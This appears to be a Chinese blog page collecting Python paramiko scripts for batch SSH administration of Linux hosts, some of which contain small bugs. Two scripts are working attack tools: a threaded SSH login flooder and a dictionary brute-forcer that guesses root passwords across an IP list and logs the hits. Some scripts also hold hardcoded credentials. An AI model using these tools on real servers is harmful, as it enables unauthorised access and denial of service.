python 批量远程机器,执行Linux命令
#!/usr/bin/python
# coding=utf-8
import paramiko
import re
class ssh_test():
def __init__(self,host,passwd,username):
self.pwd = passwd
self.name = username
self.host = host
self.ssh=paramiko.SSHClient()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #加上这句话不用担心选yes的问题,会自动选上(用ssh连接远程主机时,第一次连接时会提示是否继续进行远程连接,选择yes)
self.ssh.connect(self.host,22,self.name,self.pwd) #连接远程主机,SSH端口号为22
def ssh_comond(self,commonds):
stdin, stdout, stderr = self.ssh.exec_command(commonds)
return stdout.readlines()
def get_proc(self):
proc_list = []
commonds = "ps -ef | grep -v grep | grep tang | awk '{print $8}'"
get_proc = self.ssh_comond(commonds)
for item in get_proc:
# item_str = item.encode('unicode-escape').decode('string_escape') #unicode 转Str
No = len(item.strip('\n').split('/'))
proc_name = item.strip('\n').split('/')[No-1]
proc_list.append(proc_name)
print proc_list
def get_ip(self):
ip_list=[]
commonds = "ifconfig"
get_ip = self.ssh_comond(commonds)
for item in get_ip:
if (re.findall(r'inet addr',item,re.I) and re.findall(r'Bcast',item,re.I)) :
item_str = item.encode('unicode-escape').decode('string_escape')
ip_list.append(item_str.split('Bcast')[0].split(':')[1])
print "\n获取到的IP地址为:\n",ip_list
#
def get_dpkg(self):
dpkg= {}
dpkg_list = []
commonds = "dpkg -l | grep TANG | awk '{print $2, $3}'"
get_dpkg = self.ssh_comond(commonds)
print "\n\n This is DPKG_NAME DPKG: \n \n "
for item in get_dpkg:
item_str = item.encode('unicode-escape').decode('string_escape')
dpkg[item_str.split()[0]] = item_str.split()[1]
# print dpkg
for key in dpkg:
dpkg_list.append(key)
print dpkg_list
# print dpkg
def get_hostname(self):
commonds = 'hostname'
get_hostname = self.ssh_comond(commonds)[0]
return get_hostname.strip('\n')
def get_sys_version(self):
commonds = 'lsb_release -a'
get_sys_version = self.ssh_comond(commonds)
# print get_sys_version
print "\n\n This is sys_info:\n \n"
for item in get_sys_version:
print item.strip('\n')
def get_crontab(self):
commonds = 'cat /etc/crontab'
get_crontab = self.ssh_comond(commonds)
print "\n\ncrontab list is : \n\n"
for item in get_crontab:
item_str = item.encode('unicode-escape').decode('string_escape')
if ((item_str[0].isdigit()) or (item_str[0] == '*')):
print item_str.strip('\n')
def get_mount(self):
commonds = 'mount'
get_mount = self.ssh_comond(commonds)
print "\n\n This is Mount list : \n\n"
for item in get_mount:
item_str = item.encode('unicode-escape').decode('string_escape')
if ((item_str[0].isdigit()) or (item_str[0] == '*')):
print item_str.strip('\n')
def get_ha(self):
commonds = 'ps -ef |grep heartbeat'
get_ha = self.ssh_comond(commonds)
print "\n \n This is HeartBeat_Proc : \n\n"
for item in get_ha:
item_str = item.encode('unicode-escape').decode('string_escape')
print item_str.split('?')[1][16:].strip('\n')
def get_ef(self):
commonds = 'ps -ef '
get_ha = self.ssh_comond(commonds)
print "\n\n All_proc is : \n\n"
for item in get_ha:
if ((re.findall(r'\[',item,re.I)) or (re.findall(r'heartbeat',item,re.I) )):
continue
elif re.findall(r'\?',item,re.I):
# print item
item_str = item.encode('unicode-escape').decode('string_escape')
if len(item_str.split('?')[1][16:].strip('\n')) > 30:
print item_str.split('?')[1][16:].strip('\n')
def Get_All_Ef(self):
All_EF=[]
commonds = 'ps -A '
Get_All_Ef = self.ssh_comond(commonds)
print "\n\n All_proc is : \n\n"
for item in Get_All_Ef:
# print item
item_str = item.encode('unicode-escape').decode('string_escape')
# print item_str.split(' ')
Proc_Name= item_str.split(' ')[-1].strip('\n')
# print Proc_Name
if ((Proc_Name == 'CMD') or (re.findall(r'<',Proc_Name,re.I)) or (Proc_Name == 'init') or (Proc_Name == 'ps') or (Proc_Name == 'top') or (Proc_Name == 'bash') or (Proc_Name == 'ssh') ):
continue
else:
if re.findall(r'/',Proc_Name,re.I):
# print Proc_Name.split('/')[0]
All_EF.append(Proc_Name.split('/')[0])
else:
All_EF.append(Proc_Name)
print {}.fromkeys(All_EF).keys() #list去重
def closed (self):
self.ssh.close()
if __name__ == '__main__':
ip_tmp = '192.168.1.'
Mr_hosts =['1','2','3','4','5','6']
passwd = 'username'
username = 'password'
for host in Mr_hsot:
host = ip_tmp +host
ssh = ssh_test(host,passwd,username)
print '\n',host,ssh.get_hostname()
ssh.get_ip()
ssh.get_dpkg()
ssh.Get_All_Ef()
# ssh.get_ef()
ssh.get_sys_version()
ssh.get_crontab()
ssh.get_mount()
ssh.get_ha()
ssh.closed()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import paramiko
def run(host_ip, username, password, command):
ssh = paramiko.SSHClient()
try:
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host_ip, 22, username, password)
print('===================exec on [%s]=====================' % host_ip)
print(ssh.exec_command(command, timeout=300)[1].read())
except Exception as ex:
print('error, host is [%s], msg is [%s]' % (host_ip, ex.message))
finally:
ssh.close()
if __name__ == '__main__':
# 将需要批量执行命令的host ip地址填到这里
# eg: host_ip_list = ['192.168.1.2', '192.168.1.3']
host_ip_list = ['ip1', 'ip2']
for _host_ip in host_ip_list:
# 用户名,密码,执行的命令填到这里
# eg: run(_host_ip, 'root', 'root123', 'yum install -y redis')
run(_host_ip, 'your_username', 'your_password', 'your command')
# -*- coding: utf-8 -*-
import paramiko
import threading
import time
lt = []
def ssh(a,xh,sp):
count = 0
for i in range(0,xh):
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('ip地址',22,'用户名', '密码')
ssh.close()
print u"线程[%s]第[%s]次登录"%(a,i)
if sp != 0:
time.sleep(sp)
count += 1
except:
print u"线程异常,已处理"
lt.append(count)
if __name__ == "__main__":
figlet = '''
_____ _____ _
| ___| | _ \ | |
| |__ | |_| | | |
| __| | _ { | |
| | | |_| | | |
|_| |_____/ |_|
Code by FBI.
'''
print figlet
print u"认证攻击次数=线程数*每个线程认证攻击次数"
print u"请输入线程数:"
xc = raw_input()
print u"请输入每个线程攻击次数:"
xh = raw_input()
print u"请输入每个线程延迟时间(秒),0为不休眠:"
sp = raw_input()
try:
print u"预计总共发送认证攻击%s次"%(int(xc)*int(xh))
threads = []
for j in range(int(xc)):
threads.append(threading.Thread(target=ssh,args=(j,int(xh),int(sp),)))
for t in threads:
t.start()
print t.name
t.join()
print lt
count = 0
for count in lt:
count += count
print u"程序执行完毕总共发送认证攻击【%s】次" % count
except ValueError,e:
print u"因为输入不规范导致程序出现错误,请输入数字"
#!/usr/bin/python python # -*- coding: utf-8 -*- import paramiko,threading,sys,time,os class SSHThread(threading.Thread): def __init__(self, ip, port, timeout, dic, LogFile): threading.Thread.__init__(self) self.ip = ip self.port = port self.dict = dic self.timeout = timeout self.LogFile = LogFile def run(self): print("Start try ssh => %s" % self.ip) username = "root" try: password = open(self.dict).read().split('\n') except: print("Open dict file `%s` error" % self.dict) exit(1) for pwd in password: try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout) print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd)) open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd)) break except: print("IP => %s, Error %s => %s" % (self.ip, username, pwd)) pass def ViolenceSSH(ip, port, timeout, dic, LogFile): ssh_scan = SSHThread(ip, port, timeout, dic, LogFile) ssh_scan.start() def main(ipFile, dic, log): if ipFile == "-h": help() try: ipText = open(ipFile).read().split('\n') for ip in ipText: if ip != '': time.sleep(0.5) threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start() except: print("Open IP list file `%s` error" % ipFile) exit(1) def help(): print("python ssh.scan.py 使用说明:\n\ python ssh.scan.py ip_file_path dict_file_path ssh_log_path \n") exit(1) if __name__ == '__main__': fpath = os.path.dirname(os.path.abspath('__file__')) ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip" dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password" log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd" try: os.system("clear") main(ipFile, dic, log) except KeyboardInterrupt: exit(1)
#!/usr/bin/env python
#coding=utf-8
import paramiko
import time,datetime,threading
def ssh(ip,user,passwd,command):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip,port=16333,username=user,password=passwd)
except paramiko.AuthenticationException:
#print "验证失败,用户名或密码错误."
return 0
except:
#print 'ip',"主机不可达。"
return 2
stdin, stdout, stderr = ssh.exec_command(command)
lines = [line.strip() for line in stdout.readlines()]
data_include_firstline = "".join(lines)
data_no_firstline = "".join(lines[1:])
return data_include_firstline
def sshcmd(src,linerange):
i = 0
for line in open(src):
i += 1
if i in range(linerange[0],linerange[1]+1):
ip = line.strip()
user = 'root'
port = 16333
passwd = '123qwe'
command = 'hostname'
result = ssh(ip,user,passwd,command)
if result == 0:
result = '验证失败,用户名或密码错误.'
elif result == 2:
result = '主机不可达.'
print i,ip,result
def main(num,src):
global count, mutex
linesum = sum(1 for line in open(src))
quotient = linesum/num
threads = []
# 创建一个锁
mutex = threading.Lock()
# 先创建线程对象
for k in xrange(1, num+1):
if k == num:
linerange = quotient*(k-1)+1,linesum
else:
linerange = quotient*(k-1)+1,quotient*k
threads.append(threading.Thread(target=sshcmd, args=(src,linerange)))
# 启动所有线程
for t in threads:
t.start()
# 主线程中等待所有子线程退出
for t in threads:
t.join()
starttime = datetime.datetime.now()
if __name__ == '__main__':
# 创建10个线程
main(10,'ip.txt')
endtime = datetime.datetime.now()
print "time span",endtime-starttime
#!/usr/bin/python
#coding:utf-8
import paramiko
import sys
import datetime
import threading
import Queue
import getopt
def usage():
print """
-h,-H,--help 帮助页面
-C, --cmd 执行命令模式
-M, --command 执行具体命令
-S, --sendfile 传输文件模式
-L, --localpath 本地文件路径
-R, --remotepath 远程服务器路径
IP列表格式:
IP地址 用户名 密码 端口
192.168.1.1 root 123456 22
e.g.
批量执行命令格式: -C "IP列表" -M '执行的命令'
批量传送文件: -S "IP列表" -L "本地文件路径" -R "远程文件路径"
错误日志文件:$PWD/ssh_errors.log
"""
def ssh(queue_get,cmd):
try:
hostip=queue_get[0]
username=queue_get[1]
password=queue_get[2]
port=queue_get[3]
s=paramiko.SSHClient()
s.load_system_host_keys()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.connect(hostname=hostip,port=port,username=username, password=password)
stdin,stdout,stderr=s.exec_command(cmd)
print "\033[42m---------------------------------%s---------------------------\033[0m \n %s" %(hostip,stdout.read())
s.close()
except Exception,ex:
print "\033[42m---------------------------------%s---------------------------\033[0m\n %s : \t%s" %(hostip,hostip,ex)
#print "\n",hostip,":\t",ex,"\n"
ssh_errors=open("ssh_errors.log","a")
ssh_errors.write("%s\t%s:\t%s\n"%(now,hostip,ex))
ssh_errors.close()
pass
def sftp(queue_get,localpath,remotepath):
try:
hostip=queue_get[0]
username=queue_get[1]
password=queue_get[2]
port=int(queue_get[3])
t=paramiko.Transport((hostip,port))
t.connect(username=username,password=password)
sftp=paramiko.SFTPClient.from_transport(t)
sftp.put(localpath,remotepath)
print "Upload file %s to %s : %s: %s" %(localpath,hostip,remotepath,now)
sftp.close()
t.close()
except Exception,ex:
print "\n",hostip,":\t",ex,"\n"
ssh_errors=open("ssh_errors.log","a")
ssh_errors.write("%s\t%s:\t%s\n"%(now,hostip,ex))
ssh_errors.close()
pass
if __name__ == '__main__':
try:
opts,args= opts, args = getopt.getopt(sys.argv[1:], "(hH)C:M:S:L:R:", ["help","cmd=","command=","sendfile=","localpath=","remotepath="])
now=datetime.datetime.now()
if len(sys.argv) == 1 :
usage()
sys.exit()
if sys.argv[1] in ("-h","-H","--help"):
usage()
sys.exit()
elif sys.argv[1] in ("-C","--cmd"):
for opt,arg in opts:
if opt in ("-C","--cmd"):
iplist=arg
if opt in ("-M","--command="):
cmd=arg
file=open(iplist)
threads = []
myqueue = Queue.Queue(maxsize = 0)
for l in file.readlines():
if len(l)==1 or l.startswith('#'):
continue
f=l.split()
myqueue.put(f)
file.close()
for x in xrange(0,myqueue.qsize()):
if myqueue.empty():
break
mutex = threading.Lock()
mutex.acquire()
mutex.release()
threads.append(threading.Thread(target=ssh, args=(myqueue.get(),cmd)))
for t in threads:
t.start()
t.join()
elif sys.argv[1] in ("-S","--sendfile"):
for opt,arg in opts:
if opt in ("-S","--sendfile"):
iplist=arg
if opt in ("-L","--localpath="):
localpath=arg
if opt in ("-R","--remotepath="):
remotepath=arg
file=open(iplist)
threads = []
myqueue = Queue.Queue(maxsize = 0)
for l in file.readlines():
if len(l)==1 or l.startswith('#'):
continue
f=l.split()
myqueue.put(f)
file.close()
for x in xrange(0,myqueue.qsize()):
if myqueue.empty():
break
mutex = threading.Lock()
mutex.acquire()
mutex.release()
threads.append(threading.Thread(target=sftp, args=(myqueue.get(),localpath,remotepath)))
for t in threads:
t.start()
t.join()
else:
print "\033[31m非法参数,请重新输入!\033[0m"
#usage()
except Exception,ex:
usage()
print ex
#_*_coding:utf-8_*_ import multiprocessing import paramiko import getpass import ConfigParser class MultiTask(object): '''handles all the multi task works''' def __init__(self): msg = self._interactive() self.__run_cmd(msg) def __show_cmd_list(self,msg): '''show all available cmd list''' help_content = ''' run_cmd run cmd on multiple hosts run_cmd -u remote_user -g group1,group2 -cmd pwd run_cmd -u remote_user -re regular expression -cmd pwd ''' def _interactive(self): msg = [] nodes = [] #parse setting.conf Config = ConfigParser.ConfigParser() Config.read("./setting.conf") groups = Config.sections() print groups # Input group name while True: try: group = raw_input("\033[33;1mPlease Input Group Name:\033[0m").strip() if len(group) == 0 : continue elif group not in groups: print "Wrong group name ! Please input again!" continue else : print "You have choose group %s , the children in this group are :" % group break except (KeyboardInterrupt): print '\n' exit(1) items = dict(Config.items(group)) for node in items.values(): nodes.append(node) print node # Input command while True: try: cmd = raw_input("\033[33;1mPlease Input Command:\033[0m").strip() if len(cmd) == 0 : continue else: break except (KeyboardInterrupt): print '\n' exit(1) print "Command you input is %s" % cmd # Input username and password while True: try: username = raw_input("\033[33;1mPlease Input username:\033[0m").strip() if len(username) == 0 : continue else: break except (KeyboardInterrupt): print '\n' exit(1) password = getpass.getpass() msg = [nodes,username,password,cmd] print msg return msg def __run_cmd(self,msg): pool = multiprocessing.Pool(5) lock = multiprocessing.Manager().Lock() res_list = [] #msg = [['10.9.214.10','haohzhang','871102_Hadoop'],['10.9.214.105','haohzhang','871102_Hadoop'],['10.9.214.106','haohzhang','871102_Hadoop']] for host in msg[0]: p = pool.apply_async(run_task, args=(host,msg[1:],lock)) res_list.append(p) pool.close() pool.join() print '--------All task are finished!-------' def run_task(host,msg,lock): ip = host username = msg[0] password = msg[1] cmd = msg[2] print "ip %s, username %s, passwd %s, cmd %s" % (ip, username, password, cmd) port = 22 s = paramiko.SSHClient() #绑定实例 s.load_system_host_keys() #加载本机know host主机文件 s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: s.connect(ip,port,username,password,timeout=5) #连接远程主机 stdin,stdout,stderr = s.exec_command(cmd) #执行命令 cmd_result = stdout.read(),stderr.read() #读取命令结果 lock.acquire() print '----------- HOST:%s IP:%s -------------' %(username,ip) for line in cmd_result: print line, lock.release() s.close() except Exception,e: print '----------- HOST:%s IP:%s -------------' %(username,ip) print '\033[31;1mError:%s\033[0m' % e from multi_task import MultiTask, run_task tasks = MultiTask()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?